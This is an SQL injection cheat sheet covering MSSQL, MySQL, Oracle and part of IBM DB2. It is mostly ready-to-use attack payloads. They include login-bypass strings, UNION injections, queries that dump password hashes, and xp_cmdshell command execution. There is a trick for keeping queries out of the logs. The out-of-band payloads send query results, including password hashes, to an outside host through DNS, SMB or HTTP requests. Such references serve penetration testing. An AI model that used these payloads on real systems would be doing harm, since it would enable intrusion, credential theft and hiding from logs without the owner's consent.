**SQL Injection Cheat Sheet**

**Databases:**

1. [MSSQL](#MSSQL)
2. [MYSQL](#MYSQL)
3. [ORACLE](#ORACLE)
4. [IBM-DB2 SQL](#IBMDB2SQL)
5. [INGRES SQL](#INGRESSQL)
6. [INFORMIX](#INFORMIXSQL)
7. [POSTGRESQL](#POSTGRESQL)
8. [MS ACCESS](#MSACCESS)
9. **MSSQL Database**

|  |  |
| --- | --- |
| **Query** | **Command** |
| Version | * ***SELECT @@VERSION;***   *—* This command obtains the OS/Windows version of the system. |
| List Users | * ***SELECT name FROM master..syslogins;***   *—* This command lists the names of users from the table master..syslogins. |
| Current User | * ***SELECT user\_name();***   *—* This command obtains a name of recently logged in user.   * ***SELECT system\_user;***   *—* This command obtains the current value of system\_user.   * ***SELECT user;***   *—* This command obtains the name of impersonated user.   * ***SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID;***   *—* This command obtains the column name loginame from table master..sysprocesses having spid=@@SPID. |
| List all Database | * ***SELECT name FROM master..sysdatabases;***   *—* This command obtains the list of all the databases from database ‘master..sysdatabases’.   * ***SELECT DB\_NAME(N);***   *—* This command obtains the DB\_NAME present at N (Where N=0,1,2,3, …). |
| Current Database | * ***SELECT DB\_NAME();***   *—* This command obtains the current database. |
| List Tables | * ***SELECT name FROM sysobjects WHERE xtype = 'U';***   *—* This command obtains the column ‘name’ from table sysobjects having xtype value ‘U’. |
| Column Names | * ***SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')***   *—* This command works only for reading current database’s tables.   * ***SELECT master..syscolumns.name, TYPE\_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';***   *—* This command works globally. But you should change the master with the DB name which holds the table you want to read the columns and change ‘sometable’ with the table name. |
| Select Nth Row | * ***SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC;***  *—* This command obtains 9th row. |
| Select Nth Char | * ***SELECT substring(‘abcd’, 3, 1);***   *—*This command returns c. |
| If Statement | * ***IF (1=1) SELECT 1 ELSE SELECT 2;***   *—*This command returns 1. |
| Case Statement | * ***SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;***   —This command returns 1. |
| Comments | * ***SELECT 1;***   — This command is used for writing a comment.   * ***SELECT /\*comment\*/1;***   — This command is used to comment out a statement. |
| String without Quotes | * ***SELECT CHAR(75)+CHAR(76)+CHAR(77);*** *—* This command returns ‘KLM’. |
| Time Delay | * ***WAITFOR DELAY ’0:0:5′;***   — This command is used to pause for 5 seconds. |
| Command Execution | * ***EXEC xp\_cmdshell ‘net user’;***   *—* privOn MSSQL 2005, andyou may need to reactivate xp\_cmdshell first as it’s disabled by default: ***EXEC sp\_configure ‘show advanced options’, 1;*** — priv ***RECONFIGURE;*** — priv ***EXEC sp\_configure ‘xp\_cmdshell’, 1;*** — priv ***RECONFIGURE;*** — priv |
| Make DNS Requests | * ***declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp\_getfiledetails ”\’ + @host + ‘c$boot.ini”’);***   — These commands are used to make DNS request.   * ***declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn\_varbintohexstr(password\_hash) + ‘.2.pentestmonkey.net’ from sys.sql\_logins; exec(‘xp\_fileexist ”\’ + @host + ‘c$boot.ini”’);***   — These commands are used to make DNS request.  — NB: Concatenation is not allowed in calls to these SPs, hence you have to use @host. |
| Bypassing Login Screens | SQL Injection, Login tricks   * ***admin' --*** * ***admin' #*** * ***admin'/\**** * ***' or 1=1—*** * ***' or 1=1#*** * ***' or 1=1/\**** * ***') or '1'='1—*** * ***') or ('1'='1--*** |
| Bypassing second MD5 hash check login screens | If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.  ***Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)*** |
| Union Injections | * ***SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members***   — With union you can do SQL queries cross-table. Basically you can poison query to return records from another table. This above example will combine results from both news table and members table and return all of them.   * Another Example:   ***' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--*** |
| log in as admin user | |  | | --- | | * ***DROP sampletable;--*** * ***DROP sampletable;#***   ***Username: admin'-- SELECT \* FROM members WHERE username = 'admin'--' AND password = 'password'***  — Using this command, you can log in as admin user. | |
| List Passwords | * ***SELECT name, password FROM master..sysxlogins;***   — This command obtains the columns ‘name’ and ‘password’ from the table ‘master..sysxlogins’. It works only in MSSQL 2000.   * ***SELECT name, password\_hash FROM master.sys.sql\_logins;***   — This command obtains the columns ‘name’ and ‘password\_hash’ from the table ‘master.sys.sql\_logins’. It works only in MSSQL 2005. |
| List Password Hashes | * ***SELECT name, password FROM master..sysxlogins***   — This command obtains the columns ‘name’ and ‘password’ from the table ‘master..sysxlogins’.  — priv*,* mssql 2000.   * ***SELECT******name, master.dbo.fn\_varbintohexstr(password) FROM master..sysxlogins***   — This command obtains the columns ‘name’ and ‘master.dbo.fn\_varbintohexstr(password)’ from the table ‘master..sysxlogins’.  — priv, mssql 2000, *Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.*   * ***SELECT name, password\_hash FROM master.sys.sql\_logins***   — This command obtains the columns ‘name’ and ‘password\_hash’ from the table ‘master.sys.sql\_logins’.  — priv*,* mssql 2005.   * ***SELECT name + ‘-’ + master.sys.fn\_varbintohexstr(password\_hash) from master.sys.sql\_logins***   — This command obtains the columns ‘name + ‘-’ + master.sys.fn\_varbintohexstr(password\_hash)’ from the table ‘master.sys.sql\_logins’.  — priv*,* mssql 2005. |
| Covering Tracks | SQL Server don't log queries which includes ***sp\_password*** for security reasons(!). So if you add ***--sp\_password*** to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible) |
| Bulk Insert | Insert a file content to a table. If you don't know internal path of web application, you can read IIS (IIS 6 only) metabase file***(%systemroot%\system32\inetsrv\MetaBase.xml)*** and then search in it to identify application path.  ***Create table foo( line varchar(8000) ); bulk insert foo from 'c:\inetpub\wwwroot\login.asp';*** Drop temp table; and repeat for another file |
| Create Users | * ***EXEC***[**sp\_addlogin**](http://msdn.microsoft.com/en-us/library/ms173768.aspx)***'user', 'pass';***   — This command creates a new SQL Server login where username is ‘user’ and password is ‘pass’. |
| Drop User | * ***EXEC***[**sp\_droplogin**](http://msdn.microsoft.com/en-us/library/ms189767.aspx)***'user';***   — This command drops a username = ‘user’ from SQL Server login. |
| Make User DBA | * ***EXEC***[**master.dbo.sp\_addsrvrolemember**](http://msdn.microsoft.com/en-us/library/ms186320.aspx)***'user', 'sysadmin;***   — This command makes a ‘user’ DBA. |
| Local File Access | * ***CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM ‘c:boot.ini’; DROP TABLE mydata;***   — This command is used to gain Local File Access. |
| Hostname, IP Address | * ***SELECT HOST\_NAME();***   — This command obtains the Hostname and IP address of a system. |
| Error Based SQLi attack:  To throw conversion errors. | * For integer inputs:***convert(int,@@version);*** * For string inputs: ***‘ + convert(int,@@version) +’;*** |
| Clear SQLi Tests:  For Boolean SQL injection and silent attacks | * ***product.asp?id=4;*** * ***product.asp?id=5-1;*** * ***product.asp?id=4 OR 1=1;***   — These commands can be used as tests for Boolean SQL injection and silent attacks***.*** |
| Error Messages | * ***SELECT \* FROM master..sysmessages;***   — This command retrieves all the errors messages present in the SQL server. |
| Linked Servers | * ***SELECT \* FROM master..sysservers;***   — This command retrieves all the Linked Servers. |
| Time based SQLi Exploitation | * ***?vulnerableParam=1;DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(({INJECTION}),1,1));IF @x=100 SET @w='0:0:14' ELSE SET @w='0:0:01';WAITFOR DELAY @w—***   ***{INJECTION} = You want to run the query.***  — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second. |
| Out of Band Channel | * ***?vulnerableParam=1; SELECT \* FROM OPENROWSET('SQLOLEDB', ({INJECT})+'.yourhost.com';'sa';'pwd', 'SELECT 1');***   — This command makes DNS resolution request to {INJECT}.yourhost.com.   * ***?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECT})+'.yourhost.com\\test.txt'; EXEC master..xp\_dirtree @q***   — This command makes DNS resolution request to {INJECT}.yourhost.com.  — {INJECTION}= You want to run the query. |
| Default Databases | * ***Northwind*** * ***Model*** * ***Sdb*** * ***pubs*** — not on sql server 2005 * ***tempdb*** |
| Path of DB files | * ***%PROGRAM\_FILES%\Microsoft SQL Server\MSSQL.1\MSSQL\Data\*** |
| Location of DB Files | * ***EXEC sp\_helpdb master;***   — This command retrieves the location of master.mdf.   * + ***EXEC sp\_helpdb pubs;***   — This command retrieves the location of pubs.mdf. |
| privileges | Current privs on a particular object in 2005, 2008   * ***SELECT permission\_name FROM master..fn\_my\_permissions(null, ‘DATABASE’);***   — This command returns a column name ‘permission\_name’ from the table ‘master..fn\_my\_permissions’ where securable is set to ‘null’ and securable\_class permission is set to current ‘DATABASE’.   * ***SELECT permission\_name FROM master..fn\_my\_permissions(null, ‘SERVER’);***   — This command returns a column name ‘permission\_name’ from the table ‘master..fn\_my\_permissions’ where securable is set to ‘null’ and securable\_class permission is set to current ‘SERVER’.   * ***SELECT permission\_name FROM master..fn\_my\_permissions(‘master..syslogins’, ‘OBJECT’);***   — This command returns a column name ‘permission\_name’ from the table ‘master..fn\_my\_permissions’ where securable is set to ‘master..syslogins’ and securable\_class permission is set to current ‘OBJECT’.   * ***SELECT permission\_name FROM master..fn\_my\_permissions(‘sa’, ‘USER’);***   — This command returns a column name ‘permission\_name’ from the table ‘master..fn\_my\_permissions’ where securable is set to ‘sa’ and securable\_class permissions are set on a ‘USER’.  — current privs in 2005, 2008   * ***SELECT is\_srvrolemember(‘sysadmin’);***   — This command determines whether a current has ‘sysadmin’ privilege.   * ***SELECT is\_srvrolemember(‘dbcreator’);***   — This command determines whether a current has ‘dbcreator’ privilege.   * ***SELECT is\_srvrolemember(‘bulkadmin’);***   — This command determines whether a current has ‘bulkadmin’ privilege.   * ***SELECT is\_srvrolemember(‘diskadmin’);***   — This command determines whether a current has ‘diskadmin’ privilege.   * ***SELECT is\_srvrolemember(‘processadmin’);***   — This command determines whether a current has ‘processadmin’ privilege.   * ***SELECT is\_srvrolemember(‘serveradmin’);***   — This command determines whether a current has ‘serveradmin’ privilege.   * ***SELECT is\_srvrolemember(‘setupadmin’);***   — This command determines whether a current has ‘setupadmin’ privilege.   * ***SELECT is\_srvrolemember(‘securityadmin’);***   — This command determines whether a current has ‘securityadmin’ privilege.   * ***SELECT name FROM master..syslogins WHERE denylogin = 0;***   — This command obtains column name ‘name’ from table master..syslogins having denylogin value as 0.   * ***SELECT name FROM master..syslogins WHERE hasaccess = 1;***   — This command obtains column name ‘name’ from table master..syslogins having hasaccess value as 1.   * ***SELECT name FROM master..syslogins WHERE isntname = 0;***   — This command obtains column name ‘name’ from table master..syslogins having isntname value as 0.   * ***SELECT name FROM master..syslogins WHERE isntgroup = 0;***   — This command obtains column name ‘name’ from table master..syslogins having isntgroup value as 0.   * ***SELECT name FROM master..syslogins WHERE sysadmin = 1;***   — This command obtains column name ‘name’ from table master..syslogins having sysadmin value as 1.   * ***SELECT name FROM master..syslogins WHERE securityadmin = 1;***   — This command obtains column name ‘name’ from table master..syslogins having securityadmin value as 1.   * ***SELECT name FROM master..syslogins WHERE serveradmin = 1;***   — This command obtains column name ‘name’ from table master..syslogins having serveradmin value as 1.   * ***SELECT name FROM master..syslogins WHERE setupadmin = 1;***   — This command obtains column name ‘name’ from table master..syslogins having setupadmin value as 1.   * ***SELECT name FROM master..syslogins WHERE processadmin = 1;***   — This command obtains column name ‘name’ from table master..syslogins having processadmin value as 1.   * ***SELECT name FROM master..syslogins WHERE diskadmin = 1;***   — This command obtains column name ‘name’ from table master..syslogins having diskadmin value as 1.   * ***SELECT name FROM master..syslogins WHERE dbcreator = 1;***   — This command obtains column name ‘name’ from table master..syslogins having dbcreator value as 1.   * ***SELECT name FROM master..syslogins WHERE bulkadmin = 1;***   — This command obtains column name ‘name’ from table master..syslogins having bulkadmin value as 1. |

1. **MySQL Database**

|  |  |
| --- | --- |
| **Query** | **Command** |
| Version | * ***SELECT @@VERSION;***   — This command retrieves the system information of the current installation of SQL Server.   * ***SELECT version();***   — This command selects the specific version of a Server. |
| List Users | * ***SELECT user FROM mysql.user;***   — This command lists the column ‘user’ from the table ‘mysql.user’. |
| Current User | * ***SELECT user();***   *—* This command obtains the current MySQL user name and hostname.   * ***SELECT system\_user();***   *—* This command obtains the current value of system\_user. |
| List all Database | * ***SELECT schema\_name FROM information\_schema.schemata;***   *for MySQL >= v5.0*  *—*This command obtains a column name ‘schema\_name’ having a list of databases from the table ‘schemata table’.   * ***SELECT distinct(db) FROM mysql.db;*** — priv |
| Current Database | * ***SELECT database();***   *—* This command obtains the current MySQL database. |
| List Tables | * ***SELECT table\_name FROM information\_schema.tables WHERE table\_schema = 'tblUsers'***   *—* This command obtains the column name ‘table\_name’ from the table ‘information\_schema.tables’ having table\_schema value ‘tblUsers’.  ***tblUsers -> tablename*** |
| Column Names | * ***SELECT table\_name, column\_name FROM information\_schema.columns WHERE table\_schema = 'tblUsers’***   *—* This command obtains the columns name ‘table\_name’ and ‘column\_name’ from the table ‘information\_schema.tables’ having table\_schema value ‘tblUsers’.  ***tblUsers -> tablename***   * ***SELECT table\_schema, table\_name FROM information\_schema.columns WHERE column\_name = 'username';***   *—* This command obtains the columns name ‘table\_name’ and ‘column\_name’ from the table ‘information\_schema.tables’ having table\_schema value ‘username’. |
| Select Nth Row | * ***SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0;***   — This command returns rows numbered from 0.   * ***SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1;***   — This command returns rows numbered from 0. |
| Select Nth Char | * ***SELECT substr(‘abcd’, 3, 1);***   *—* This command returns c. |
| If Statement | * ***SELECT if(1=1,’foo’,'bar’);*** — returns ‘foo’ |
| Case Statement | * ***SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;***   *—* This command returns A. |
| Comments | * ***SELECT 1; #comment***   — This command is used for writing a comment.   * ***SELECT /\*comment\*/1;***   — This command is used comment out a statement. |
| String without Quotes | * ***SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))***   *—* This command returns ‘KLM’. |
| Time Delay | * ***SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5);*** *--* >= 5.0.12   *—* This command triggers a measurable time delay. |
| Command Execution | If ***mysqld* (<5.0)** is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into ***/usr/lib*** (or similar).  The ***.so*** file should contain a User Defined Function (UDF).  [***raptor\_udf.c***](http://www.0xdeadbeef.info/exploits/raptor_udf.c) explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform. |
| Make DNS Requests | N/A |
| Load File | * ***' UNION ALL SELECT LOAD\_FILE('/etc/passwd') --***   ***SELECT LOAD\_FILE(0x633A5C626F6F742E696E69)***  *—* This command will show the content of c:\boot.ini. |
| log in as admin user | * ***DROP sampletable;--*** * ***DROP sampletable;#***   ***Username : admin'--***  ***: admin' or '1'='1'--***  ***SELECT \* FROM members WHERE $username = 'admin'--' AND $password = 'password'***  *—* This command lists all the users from the column ‘members’ having $username value as ‘admin’ and $password value as ‘password’. |
| List Passwords | * ***SELECT user, password FROM mysql.user;***   *—* This command retrieves the columns ‘user’ and ‘password‘ from the table ‘mysql.user’.   * ***SELECT user, password FROM mysql.user LIMIT 1,1;***   *—* This command retrieves the columns ‘user’ and ‘password‘ from the table ‘mysql.user’ with LIMIT 1,1.   * ***SELECT password FROM mysql.user WHERE user = 'root';***   *—* This command retrieves the column ‘password‘ from the table ‘mysql.user’ having user value as ‘root’. |
| List Password Hashes | * ***SELECT host, user, password FROM mysql.user;***   — This command lists columns ‘host’, ‘user’ and ‘password’ from the table ‘mysql.user’. |
| Bulk Insert | * ***SELECT \* FROM mytable INTO dumpfile '/tmp/somefile';***   — This command is used to insert a file content to a table. |
| Create Users | * ***CREATE USER username IDENTIFIED BY 'password';***   — This command creates a username ‘USER’ who authenticates by password to log on to the database. |
| Drop User | * ***DROP USER username;***   — This command drops a username ‘USER’ from the table. |
| Make User DBA | * ***GRANT ALL PRIVILEGES ON \*.\* TO username@'%';***   — This command grants DBA privileges to a user. |
| Local File Access | * ***…’ UNION ALL SELECT LOAD\_FILE(‘/etc/passwd’)***   — This command allows you to only read world-readable files.   * ***SELECT \* FROM mytable INTO dumpfile ‘/tmp/somefile’;***   — This command allows you to write to file system. |
| Hostname, IP Address | * ***SELECT @@hostname;***   — This command obtains the Hostname and IP address of a system. |
| Error Based SQLi attack:  To throw conversion errors. | * ***(select 1 and row(1,1)>(select count(\*),concat(CONCAT(@@VERSION),0x3a,floor(rand()\*2))x from (select 1 union select 2)a group by x limit 1));***   — This command is used to receive integer inputs.   * ***'+(select 1 and row(1,1)>(select count(\*),concat(CONCAT(@@VERSION),0x3a,floor(rand()\*2))x from (select 1 union select 2)a group by x limit 1))+';***   — This command is used to receive string inputs. |
| Clear SQLi Tests:  For Boolean SQL injection and silent attacks | * ***product.php?id=4*** * ***product.php?id=5-1*** * ***product.php?id=4 OR 1=1*** * ***product.php?id=-1 OR 17-7=10***   — These commands can be used to test for Boolean SQL injection and silent attacks***.*** |
| Blind SQL Injection (Time Based) | * ***SLEEP(25)--  SELECT BENCHMARK(1000000,MD5('A'));*** * ***ProductID=1 OR SLEEP(25)=0 LIMIT 1—*** * ***ProductID=1) OR SLEEP(25)=0 LIMIT 1--*** * ***ProductID=1' OR SLEEP(25)=0 LIMIT 1—*** * ***ProductID=1') OR SLEEP(25)=0 LIMIT 1--*** * ***ProductID=1)) OR SLEEP(25)=0 LIMIT 1—*** * ***ProductID=SELECT SLEEP(25)—***   *—* These commands trigger a measurable time delay. |
| Time base SQLi exploitation | * ***?vulnerableParam=-99 OR IF((ASCII(MID(({INJECTON}),1,1)) = 100),SLEEP(14),1) = 0 LIMIT 1—***   {INJECTION} = You want to run the query.  — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second. |
| Out of Band Channel | * ***?vulnerableParam=-99 OR (SELECT LOAD\_FILE(concat('\\\\',({INJECTION}), 'yourhost.com\\')));***   *—* This command makes a NBNS query request/DNS resolution request to yourhost.com.   * ***?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt');***   *—* This command writes data to your shared folder/file.  {INJECTION} = You want to run the query. |
| Default Databases | * ***information\_schema*** (>= mysql 5.0) * ***mysql*** |
| Path of DB files | * ***SELECT @@datadir C:\AppServ\MySQL\data\*** |
| Location of DB Files | * ***SELECT @@datadir;***   *—* This command obtains the location of DB files. |
| privileges | * ***SELECT grantee, privilege\_type, is\_grantable FROM information\_schema.user\_privileges;***   — This command lists list user privileges.   * ***SELECT host, user, Select\_priv, Insert\_priv, Update\_priv, Delete\_priv, Create\_priv, Drop\_priv, Reload\_priv, Shutdown\_priv, Process\_priv, File\_priv, Grant\_priv, References\_priv, Index\_priv, Alter\_priv, Show\_db\_priv, Super\_priv, Create\_tmp\_table\_priv, Lock\_tables\_priv, Execute\_priv, Repl\_slave\_priv, Repl\_client\_priv FROM mysql.user;***   — This command lists list various types of privileges.   * ***list user privsSELECT grantee, table\_schema, privilege\_type FROM information\_schema.schema\_privileges;***   — This command lists privileges on databases (schemas).   * ***SELECT table\_schema, table\_name, column\_name, privilege\_type FROM information\_schema.column\_privileges;***   — This command lists privileges on columns. |

1. **Oracle Database**

|  |  |
| --- | --- |
| **Query** | **Command** |
| Version | * ***SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';***   — This command obtains oracle version and build information.   * ***SELECT version FROM v$instance;***   — This command displays the current database information such as host name, status, startup time, etc. |
| List Users | * ***SELECT username FROM all\_users ORDER BY username;***   — This command obtains column ‘username’ from the table ‘all\_users’ and sort it by username.   * ***SELECT name FROM sys.user$;***   — This command obtains column ‘name’ from table ‘sys.user$’. |
| Current User | * ***SELECT user FROM dual***   — This command obtains current user from the table ‘dual’. |
| List all Database | * ***SELECT DISTINCT owner FROM all\_tables;***   — This command lists schemas (one per user). — Also queries TNS listener for other databases.   See [tnscmd](http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html) (services | status). |
| Current Database | * ***SELECT global\_name FROM global\_name;***   — This command obtains current user from global\_name.   * ***SELECT name FROM v$database;***   — This command obtains current username from column ‘name’, present in the table ‘v$database’.   * ***SELECT instance\_name FROM v$instance;***   — This command obtains column ‘instance\_name’ from the table ‘v$instance’.   * ***SELECT SYS.DATABASE\_NAME FROM DUAL;***   — This command obtains database name ‘SYS.DATABASE’ from the table ‘DUAL’. |
| List Tables | * ***SELECT table\_name FROM all\_tables;***   — This command obtains column ‘table\_name’ from the table ‘all\_tables’.   * ***SELECT owner, table\_name FROM all\_tables;***   — This command obtains columns ‘owner’ and ‘table\_name’ from the table ‘all\_tables’. |
| Column Names | * ***SELECT column\_name FROM all\_tab\_columns WHERE table\_name = ‘blah’;***   — This command obtains column ‘column\_name’ from the table ‘all\_tab\_columns’ having value of ‘table\_name’ as ‘blah’.   * ***SELECT column\_name FROM all\_tab\_columns WHERE table\_name = ‘blah’ and owner = ‘foo’***   — This command obtains column ‘column\_name’ from the table ‘all\_tab\_columns’ having value of ‘table\_name’ as ‘blah’ and value of owner as ‘foo’. |
| Select Nth Row | * ***SELECT username FROM (SELECT ROWNUM r, username FROM all\_users ORDER BY username) WHERE r=9;***   — This command retrieves 9th row (rows numbered from 1). |
| Select Nth Char | * ***SELECT substr(‘abcd’, 3, 1) FROM dual;***   — This command retrieves gets 3rd character, ‘c’. |
| If Statement | * ***BEGIN IF 1=1 THEN dbms\_lock.sleep(3); ELSE dbms\_lock.sleep(0); END IF; END;***   — If the condition is true then a time delay is triggered and if the condition is false time delay is not triggered.  — This command does not work well for SELECT statements. |
| Case Statement | * ***SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;***   — If the condition is true, it returns 1.   * ***SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual;***   — If the condition is true, it returns 2. |
| Comments | * ***SELECT 1 FROM dual***   — This command is used for writing a comment. — NB: SELECT statements must have a FROM clause in Oracle so you have to use the dummy table name ‘dual’ when we’re not actually selecting from a table. |
| String without Quotes | * ***SELECT CHR(75)||CHR(76)||CHR(77)***   *—* This command returns ‘KLM’. |
| Time Delay | * ***BEGIN DBMS\_LOCK.SLEEP(5); END;***   — This command is used to trigger time delay.   * ***SELECT UTL\_INADDR.get\_host\_name(’10.0.0.1′) FROM dual***;   — This command is used, if reverse looks are slow.   * ***SELECT UTL\_INADDR.get\_host\_address(‘blah.attacker.com’) FROM dual;***   — This command is used, if forward lookups are slow.   * ***SELECT UTL\_HTTP.REQUEST(‘http://google.com’) FROM dual;***   — This command is used, if outbound TCP is filtered / slow. |
| Command Execution | There are some techniques for command execution.   * ***Creating JAVA library*** * ***DBMS\_SCHEDULER*** * ***EXTPROC*** * ***PL/SQL native make utility (9i onl*y**)   —You can read the details from ***http://7safe.com/assets/pdfs/Hacking\_Oracle\_From\_Web\_2.pdf.*** |
| Make DNS Requests | * ***SELECT UTL\_INADDR.get\_host\_address(‘google.com’) FROM dual;*** * ***SELECT UTL\_HTTP.REQUEST(‘http://google.com’) FROM dual;***   —These commands are used to make DNS request from dual. |
| Union Injections | * ***SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members***   — By using union, you can do SQL queries cross-table. Basically you can poison query to return records from another table and this example will combine results from both news table and members table and return all of them.   * Another Example:   ***' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--*** |
| log in as admin user | * ***DROP sampletable;-- Username: admin'—***   ***SELECT \* FROM members WHERE username = 'admin'--' AND password = 'password'***  —This command retrieves all the users from the table ‘members’ where username is ‘admin’ and password is ‘password’. |
| List Passwords | * ***SELECT name, password FROM sys.user$ where type#=1***   —This command retrieves the columns ‘name’ and ‘password’ from table ‘sys.user$’ having ‘type#=1’. |
| List Password Hashes | * ***SELECT name, password, astatus FROM sys.user$***   —This command retrieves the username and password hashes  — priv, <= 10g.  a status tells you if acct is locked.   * ***SELECT name,spare4 FROM sys.user$***   —This command retrieves the username and password hashes  — priv, 11g |
| Create Users | * ***CREATE USER user IDENTIFIED by pass;***   — This command creates a user ‘USER’ who authenticates by pass to log on to the database. |
| Drop User | * ***DROP USER user***   — This command drops a ‘USER’. |
| Make User DBA | * ***GRANT DBA to USER***   — This command grants DBA privilege to ‘USER’. |
| Local File Access | * [***UTL\_FILE***](http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql) can sometimes be used.  Check that the following is non-null: ***SELECT value FROM v$parameter2 WHERE name = ‘utl\_file\_dir’;*** [Java](http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql) can be used to read and write files if it’s installed (it is not available in Oracle Express). |
| Hostname, IP Address | * ***SELECT UTL\_INADDR.get\_host\_name FROM dual; SELECT host\_name FROM v$instance; SELECT UTL\_INADDR.get\_host\_address FROM dual;***   — This command obtains IP address of the user.   * ***SELECT UTL\_INADDR.get\_host\_name(’10.0.0.1′) FROM dual;***   — This command obtains the hostnames of the user. |
| Error Based SQLi attack:  To throw conversion errors. | * ***(utl\_inaddr.get\_host\_address((select user from DUAL)));***   — This command is used for accepting integer inputs.   * ***' + (utl\_inaddr.get\_host\_address((select user from DUAL)))+';***   — This command is used for accepting string inputs. |
| Clear SQLi Tests:  For Boolean SQL injection and silent attacks | * ***product.asp?id=4*** * ***product.asp?id=5-1*** * ***product.asp?id=4 OR 1=1***   — These commands can be used as tests for Boolean SQL injection and silent attacks***.*** |
| Time based SQLi Exploitation | * ***?vulnerableParam=(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms\_pipe.receive\_message(('xyz'),14) ELSE dbms\_pipe.receive\_message(('xyz'),1) END FROM dual);***   {INJECTION} = You want to run the query.  — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second. |
| Out of Band Channel | * ***?vulnerableParam=(SELECT UTL\_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL);***   — Using this command, sniffer application will save results.   * ***?vulnerableParam=(SELECT UTL\_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL);***   — Using this command, results will be saved in HTTP access logs   * ***?vulnerableParam=(SELECT UTL\_INADDR.get\_host\_addr(({INJECTION})||'.yourhost.com') FROM DUAL);***   — Using this command, you can sniff DNS resolution requests to yourhost.com   * ***?vulnerableParam=(SELECT SYS.DBMS\_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL);***   — Using this command, you can sniff DNS resolution requests to yourhost.com  — {INJECTION} = You want to run the query. |
| Default Databases | * ***SYSTEM*** * ***SYSAUX*** |
| Path of DB files | * ***SELECT name FROM V$DATAFILE*** * ***SELECT \* FROM dba\_directories*** |
| Location of DB Files | * ***SELECT name FROM V$DATAFILE;***   — This command retrieves the location of name data file from database ‘V$DATAFILE’. |
| Privileges | * ***SELECT \* FROM session\_privs;***   *—* This command returns the privileges assigned to the current user.   * ***SELECT \* FROM dba\_sys\_privs WHERE grantee = ‘DBSNMP’;***   *—* This command returns a list of user’s privileges from dba\_sys\_privs having grantee value ‘DBSNMP’.   * ***SELECT grantee FROM dba\_sys\_privs WHERE privilege = ‘SELECT ANY DICTIONARY’;***   *—* This command returns the users with a particular privilege.   * ***SELECT GRANTEE, GRANTED\_ROLE FROM DBA\_ROLE\_PRIVS;***   *—* This command returns the column GRANTEE and GRANTED\_ROLE from the table DBA\_ROLE\_PRIVS. |

1. **IBM-DB2 SQL Database**

|  |  |
| --- | --- |
| **Query** | **Command** |
| Version | * ***SELECT service\_level FROM table(sysproc.env\_get\_inst\_info()) as instanceinfo***   *—* This command returns a version of system table.   * ***SELECT getvariable('sysibm.version') FROM sysibm.sysdummy1 -- (v8+)***   *—* This command returns an information on built version of system table.   * ***SELECT prod\_release, installed\_prod\_fullname FROM table(sysproc.env\_get\_prod\_info()) as productinfo***   *—* This command returns release and full name information of system table.   * ***SELECT service\_level, bld\_level FORM sysibmadm.env\_inst\_info***   *—* This command returns the service and configuration information of system table. |
| List Users | DB2 uses OS accounts. Those with DB2 access can be retrieved with:   * ***SELECT distinct(authid) FROM sysibmadm.privileges***   — This command retrieves distinct authorization ID of users from sysibmadm.privileges.   * ***SELECT grantee FROM syscat.dbauth***   — This command lists the users with database privileges.   * ***SELECT distinct(definer) FROM syscat.schemata***   — This command retrieves distinct authorization ID of the owner of the schema.   * ***SELECT distinct(grantee) FROM sysibm.systabauth***   *—*This command retrieves distinct authorization ID of users having database privileges from sysibm.systabauth. |
| Current User | * ***SELECT user FROM sysibm.sysdummy1;***   *—*This command obtains current user from the table sysibm.sysdummy1.   * ***SELECT session\_user FROM sysibm.sysdummy1;***   *—*This command obtains current session user from the table ‘sysibm.sysdummy1.   * ***SELECT system\_user FROM sysibm.sysdummy1;***   *—*This command obtains current system user from the table ‘sysibm.sysdummy1. |
| List all Database | * ***SELECT schemaname FROM syscat.schemata;***   *—*This command obtains a column name ‘schemaname’ having a list of databases from the table ‘syscat.schemata’. |
| Current Database | * ***SELECT current server from sysibm.sysdummy1;***   *—* This command obtains the current database server from sysibm.sysdummy1. |
